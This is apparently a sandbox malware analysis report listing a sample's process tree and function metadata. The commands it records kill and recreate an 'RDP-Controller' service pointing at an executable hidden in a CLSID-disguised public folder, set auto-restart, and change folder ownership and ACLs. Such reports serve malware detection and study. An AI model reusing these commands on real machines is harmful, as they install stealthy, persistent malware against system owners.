File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	19:11:21
Start date:	24/09/2024
Path:	C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user~1\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe"
Imagebase:	0x7ff70bd10000
File size:	10'639'360 bytes
MD5 hash:	7D1755E8E41A6C2F08D2FAEFFDF9DAD1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 19%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	19:11:24
Start date:	24/09/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill.exe /F /FI "SERVICES eq RDP-Controller"
Imagebase:	0x7ff6df2a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	19:11:24
Start date:	24/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	19:11:24
Start date:	24/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc.exe stop RDP-Controller
Imagebase:	0x7ff7d1e80000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	19:11:24
Start date:	24/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	20:30:26
Start date:	24/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore
Imagebase:	0x7ff7d1e80000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	20:30:26
Start date:	24/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	20:30:26
Start date:	24/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc.exe failure RDP-Controller reset= 1 actions= restart/10000
Imagebase:	0x7ff7d1e80000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	20:30:26
Start date:	24/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	20:30:26
Start date:	24/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc.exe start RDP-Controller
Imagebase:	0x7ff7d1e80000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	20:30:26
Start date:	24/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	20:30:26
Start date:	24/09/2024
Path:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
Imagebase:	0x7ff7aabd0000
File size:	89'088 bytes
MD5 hash:	4E320E2F46342D6D4657D2ADBF1F22D0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 11%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	20:30:27
Start date:	24/09/2024
Path:	C:\Windows\System32\icacls.exe
Wow64 process (32bit):	false
Commandline:	icacls.exe C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\ /setowner *S-1-5-18
Imagebase:	0x7ff749be0000
File size:	39'424 bytes
MD5 hash:	48C87E3B3003A2413D6399EA77707F5D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	20:30:27
Start date:	24/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	20:30:27
Start date:	24/09/2024
Path:	C:\Windows\System32\icacls.exe
Wow64 process (32bit):	false
Commandline:	icacls.exe C:\Users\Public /restore C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\95cRhCj4pPDP.acl
Imagebase:	0x7ff749be0000
File size:	39'424 bytes
MD5 hash:	48C87E3B3003A2413D6399EA77707F5D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	20:30:27
Start date:	24/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	20:30:49
Start date:	24/09/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	20:31:06
Start date:	24/09/2024
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Imagebase:	0x7ff7063a0000
File size:	468'120 bytes
MD5 hash:	B3676839B2EE96983F9ED735CD044159
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	20:31:06
Start date:	24/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	20:31:16
Start date:	24/09/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	20:31:17
Start date:	24/09/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -pss -s 440 -p 7988 -ip 7988
Imagebase:	0x7ff6ea010000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	20:31:17
Start date:	24/09/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 7988 -s 1128
Imagebase:	0x7ff6ea010000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	20:31:17
Start date:	24/09/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	20:31:49
Start date:	24/09/2024
Path:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
Imagebase:	0x7ff7aabd0000
File size:	89'088 bytes
MD5 hash:	4E320E2F46342D6D4657D2ADBF1F22D0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 032C9D02 Relevance: 4.8, APIs: 3, Instructions: 340COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 032CA05F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 032CA065
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 032CA06B

Memory Dump Source

Source File: 00000006.00000002.1277798482.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_32c0000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: a3f64ff64f7b7f31477b65388417927e1dcf11656a0d7e8d81c602991d1e7496
Instruction ID: f01132f22e98093e879990006570dc18aca1f78398c9d62774f24d1f293e41e0
Opcode Fuzzy Hash: a3f64ff64f7b7f31477b65388417927e1dcf11656a0d7e8d81c602991d1e7496
Instruction Fuzzy Hash: B2B15D35928B8C8FDB54EF28C884A9AB7E1FFA8310F50571EE84AD7255DB70D481CB81

Function 032CCDB2 Relevance: 3.3, APIs: 2, Instructions: 338COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 032CD0F7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 032CD0FD

Memory Dump Source

Source File: 00000006.00000002.1277798482.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_32c0000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 34fbf8e30838d51e21bf191a2d090dd1966248fe052b2782dafca8ee0236092f
Instruction ID: b8aa88481214b34ca363a55c2bef5469f45356665e809bc6cb2f85253a10fde6
Opcode Fuzzy Hash: 34fbf8e30838d51e21bf191a2d090dd1966248fe052b2782dafca8ee0236092f
Instruction Fuzzy Hash: DCA16C35938B8C8BDB54EF2CD8856EAB7E1FB98350F10572EE88AC7154DB709581CB81

Function 032C4B56 Relevance: 1.8, APIs: 1, Instructions: 343COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1277798482.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_32c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 647ee9b534975270aca972dac79fdea6b0120ab65a008a00e97fa6d470cd0a4c
Instruction ID: 96718e7c29df43bcc39e7e2c03e2ac50a41638d8948979aa52e27d70cec14227
Opcode Fuzzy Hash: 647ee9b534975270aca972dac79fdea6b0120ab65a008a00e97fa6d470cd0a4c
Instruction Fuzzy Hash: D3A1B231A38E4C8FCB59FF28C4A56AEB3E1FBA9310B04471ED44AD7254DA70E985C785

Function 032DD132 Relevance: 1.8, APIs: 1, Instructions: 321COMMON

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 032DD381

Memory Dump Source

Source File: 00000006.00000002.1277798482.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_32c0000_file.jbxd

Similarity

API ID: _clrfp
String ID:
API String ID: 3618594692-0
Opcode ID: 9f5802e7a3bba20555b21e1936248732c444238cb055604f1a421cdc6350789e
Instruction ID: c41a7211af1dec433722488d94921d1e60cb790fcb573152d3204f383b308f66
Opcode Fuzzy Hash: 9f5802e7a3bba20555b21e1936248732c444238cb055604f1a421cdc6350789e
Instruction Fuzzy Hash: A6B15A30520A4E8FDB99DF1CC88AB56B7E0FF59314F198599E859CB262C335E892CF01

Function 032C7F3A Relevance: .4, Instructions: 446COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1277798482.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_32c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af3f5e58f1e42435f7da6adc6adac8f31d32a2d35e1c63632e3e7cc02981b94a
Instruction ID: f6977598c21f0ff6f4029b6bf79b8727db456bedc04cd9ab99a2a286cb15b97c
Opcode Fuzzy Hash: af3f5e58f1e42435f7da6adc6adac8f31d32a2d35e1c63632e3e7cc02981b94a
Instruction Fuzzy Hash: 19E17F31938B8D8BC745DF28C8945BAB3E1FFA8300F54971EE886D7155EBB4A684C781

Function 032D702E Relevance: .2, Instructions: 250COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1277798482.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_32c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 884b2154e67faba7e97d33cdef9cdf909460de4ff3516825797b00cb977ca7ac
Instruction ID: fdad764fa0ec38c52402cde4b9991c6ac1c58b5b29bdaec700d175c865204620
Opcode Fuzzy Hash: 884b2154e67faba7e97d33cdef9cdf909460de4ff3516825797b00cb977ca7ac
Instruction Fuzzy Hash: 8E610930A2CF5C4FDB28EF6C984907AB7E5FB95710F14475FE886C3155DA74A88286C2

Function 032D53FA Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1277798482.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_32c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fd267f5a20fc586d5f6155ebbd5ebefe49e40c3b4699dbf32c941d6f4a047b0
Instruction ID: 0af98be0be9fa867be93cd9073e1f8954fa5c19063351f70e21071c634817c00
Opcode Fuzzy Hash: 2fd267f5a20fc586d5f6155ebbd5ebefe49e40c3b4699dbf32c941d6f4a047b0
Instruction Fuzzy Hash: AB510332328E0D8F8B0CDE6CE49857573D2F7AD321315836EE44ED7265DA74E8868781

Function 032C60DA Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1277798482.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_32c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3bfdd2e48ad19d66b0e37b2c6738ec7b33e2acd157bee24fc1458e38cb5dc2f
Instruction ID: 3386471e0a6e101c2b1e0e56983a79d5ad3215e41cbaa571db5c0cec83884569
Opcode Fuzzy Hash: b3bfdd2e48ad19d66b0e37b2c6738ec7b33e2acd157bee24fc1458e38cb5dc2f
Instruction Fuzzy Hash: 9B21C5317226054BE70CCE2EC89A575B3D6F7D9209B58C27DE14BCB397CD3268038A08

Function 032C5B4A Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1277798482.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_32c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 818b3c2bf741691b3b4d97ce965452ef50dff5a67fbb0249e4fef83404bb3482
Instruction ID: 110cce43097e80305b570b12dba631c32597889de4c5a0e6f97e678bc351772b
Opcode Fuzzy Hash: 818b3c2bf741691b3b4d97ce965452ef50dff5a67fbb0249e4fef83404bb3482
Instruction Fuzzy Hash: 7711A1723208058FD74CCE3EC98A66577D6EB89205B18C3BDE51ACB26ADA35D943C744

Function 032D0D72 Relevance: 12.7, APIs: 4, Strings: 3, Instructions: 460COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 032D0DCF

Part of subcall function 032D3132: __GetUnwindTryBlock.LIBCMT ref: 032D3175
Part of subcall function 032D3132: __SetUnwindTryBlock.LIBVCRUNTIME ref: 032D319A

Is_bad_exception_allowed.LIBVCRUNTIME ref: 032D0EA7
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 032D10F5
std::bad_alloc::bad_alloc.LIBCMT ref: 032D1202

Strings

csm, xrefs: 032D0DE9
csm, xrefs: 032D0ECA
csm, xrefs: 032D0E50

Memory Dump Source

Source File: 00000006.00000002.1277798482.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_32c0000_file.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 3fb9d0c56a71d0f5861e67f07a09d0a106b159fdbf12d619d0216d77a39e9afb
Instruction ID: a1b197e950e9a69f3d5579c9d13016eaa9f49f144cc7cfcfc853517fedb2626f
Opcode Fuzzy Hash: 3fb9d0c56a71d0f5861e67f07a09d0a106b159fdbf12d619d0216d77a39e9afb
Instruction Fuzzy Hash: 0EE1F430938B498FDB54EF6CC4856A9B7E1FB99310F14425ED889CB661DB70E4D1CB82

Function 032D1242 Relevance: 9.2, APIs: 2, Strings: 3, Instructions: 462COMMON

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 032D13E0
std::bad_alloc::bad_alloc.LIBCMT ref: 032D1709

Strings

csm, xrefs: 032D1389
csm, xrefs: 032D1327
csm, xrefs: 032D1407

Memory Dump Source

Source File: 00000006.00000002.1277798482.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_32c0000_file.jbxd

Similarity

API ID: Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 3523768491-393685449
Opcode ID: 3c37fd6db8f1d7251cf834ba82edf3def457dd0e8a8ae703ba663f2cb829a33b
Instruction ID: 0dbd1091a68803dcff920d8702161e1d3b4d9b6d75261add4384cdf442a2c70d
Opcode Fuzzy Hash: 3c37fd6db8f1d7251cf834ba82edf3def457dd0e8a8ae703ba663f2cb829a33b
Instruction Fuzzy Hash: 91E11734438B498FCB54EF28C4846AAB7E1FF59310F14466DD486CBA62DB70E4D2CB82

Function 032D0642 Relevance: 7.9, APIs: 5, Instructions: 439COMMON

Download Yara Rule

APIs

__AdjustPointer.LIBCMT ref: 032D0765
__AdjustPointer.LIBCMT ref: 032D07B0

Memory Dump Source

Source File: 00000006.00000002.1277798482.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_32c0000_file.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 9b1c0b3f231e4bcddaa8a570e8cd9ce20c2063c8fc35274121e91c7c1a746b78
Instruction ID: d1b72f817b3d836422b1e0e8486db38909ede09f94955550fca6a4c133dff7b9
Opcode Fuzzy Hash: 9b1c0b3f231e4bcddaa8a570e8cd9ce20c2063c8fc35274121e91c7c1a746b78
Instruction Fuzzy Hash: C6C1E430138F4B8FDB29EB689054675B2E1FB99710F68C66DD486C7165EAB0D8C1C7C1

Function 032CA41E Relevance: 7.8, Strings: 6, Instructions: 289COMMON

Download Yara Rule

Strings

H, xrefs: 032CA6BC
(, xrefs: 032CA6D2
, xrefs: 032CA67E
2, xrefs: 032CA673
P!`, xrefs: 032CA726
`, xrefs: 032CA4BF

Memory Dump Source

Source File: 00000006.00000002.1277798482.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_32c0000_file.jbxd

Similarity

API ID:
String ID: $($2$H$P!`$`
API String ID: 0-2682688576
Opcode ID: bc76d62830869bcd39272dfef10d6a3318e6b9030b160a7bcb89a7604e377882
Instruction ID: 7b95148ab3caafcfcdfd234bc62fd11318c4d3f06adbd384d8e5ca4abebe78b2
Opcode Fuzzy Hash: bc76d62830869bcd39272dfef10d6a3318e6b9030b160a7bcb89a7604e377882
Instruction Fuzzy Hash: 8FC105B0918B888FD7A4DF18C08879ABBE0FB99704F504A6ED8CDCB215DB705589CF46

Function 032D19B6 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 294COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 032D1A71

Strings

RCC, xrefs: 032D1A42
MOC, xrefs: 032D1A3A

Memory Dump Source

Source File: 00000006.00000002.1277798482.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_32c0000_file.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: 7f7ab6c02d15fb7cada80a290f40bf769916c592d438a3060e1af43374edef25
Instruction ID: d65d2ca03d5ec7d9d5f810452d2cbed7aa459c3a8658b78b76f888eabab09618
Opcode Fuzzy Hash: 7f7ab6c02d15fb7cada80a290f40bf769916c592d438a3060e1af43374edef25
Instruction Fuzzy Hash: 9FA1B430928B488FCB59EF6CD885AA9BBF0FB98314F14465EE449C7111EB74E581CB82

Function 032D007A Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 032D00A5
_IsNonwritableInCurrentImage.LIBCMT ref: 032D013C

Strings

csm, xrefs: 032D0123

Memory Dump Source

Source File: 00000006.00000002.1277798482.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_32c0000_file.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm
API String ID: 3242871069-1018135373
Opcode ID: 859e345823d80db8230311a4c986b9b96598fc69a601b47f6fead17499a59a6c
Instruction ID: 76515b14964c2cc3b5909f3e380c4bbd1d8480b77db88ee54e7f269c2b706a92
Opcode Fuzzy Hash: 859e345823d80db8230311a4c986b9b96598fc69a601b47f6fead17499a59a6c
Instruction Fuzzy Hash: BD61E73072DA098BCF28EE5CD489A7973D5FB54350F14816DE886C7266EA70ECD18B85

Function 032D1746 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 233COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 032D17F1

Strings

MOC, xrefs: 032D17B9
RCC, xrefs: 032D17C1

Memory Dump Source

Source File: 00000006.00000002.1277798482.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_32c0000_file.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: f204141aae82d9f6845b5da32682795ff5f0ac0b8fb77a8709c63a3dfbf03d15
Instruction ID: 11b07d04d3d9d4302f13809797fc0d929ae68548e3c897718611b6658021d6ae
Opcode Fuzzy Hash: f204141aae82d9f6845b5da32682795ff5f0ac0b8fb77a8709c63a3dfbf03d15
Instruction Fuzzy Hash: 39718E30528B488FD768EF18C446BAAB7E0FF99314F144A5EE48AC7251DB74A5D1CB82

Function 032D2806 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 186COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 032D28B0
_CreateFrameInfo.LIBVCRUNTIME ref: 032D28D9

Strings

csm, xrefs: 032D29D9

Memory Dump Source

Source File: 00000006.00000002.1277798482.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_32c0000_file.jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_record
String ID: csm
API String ID: 2558813199-1018135373
Opcode ID: 06c119407accd39f8435343144e30bf6358969287a5cf68c59ee8460d9e456f2
Instruction ID: 5b365d535ffdf2f255a11d14432baf8e7f242df58cb3b8236db549556c06c5bb
Opcode Fuzzy Hash: 06c119407accd39f8435343144e30bf6358969287a5cf68c59ee8460d9e456f2
Instruction Fuzzy Hash: FD51AAB4528B449FC760EF2CC18966A77E1FB89351F10095ED48EC7261DB70E882CB83

Analysis Process: file.exePID: 6132, Parent PID: 556COMMON

Execution Graph

Execution Coverage:	59.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	11
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 02C301B0 Relevance: 9.3, APIs: 6, Instructions: 317
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 02C30215
VirtualProtect.KERNELBASE ref: 02C30301
VirtualFree.KERNELBASE ref: 02C30332
VirtualFree.KERNELBASE ref: 02C30358
VirtualAlloc.KERNELBASE ref: 02C3037B
VirtualProtect.KERNELBASE ref: 02C3051B

Memory Dump Source

Source File: 00000008.00000002.2527707074.0000000002C30000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2c30000_file.jbxd

Similarity

API ID: Virtual$AllocFreeProtect
String ID:
API String ID: 267585107-0
Opcode ID: d4c2a8ca2ad52b1407480866e6e93688b0dc4b0e284f3aa7e09f2a5729c8ff95
Instruction ID: 70586b82389ab0cfea8752151eb0703158240165f98089e7110fa4395dbc2eb9
Opcode Fuzzy Hash: d4c2a8ca2ad52b1407480866e6e93688b0dc4b0e284f3aa7e09f2a5729c8ff95
Instruction Fuzzy Hash: EDC1DA3021CA488FD785EF5CC498B6AB7E1FB98315F50585DF48AC7261DBB4E981CB06

Function 02C30620 Relevance: 1.3, APIs: 1, Instructions: 13
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 02C3063A

Memory Dump Source

Source File: 00000008.00000002.2527707074.0000000002C30000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2c30000_file.jbxd

Similarity

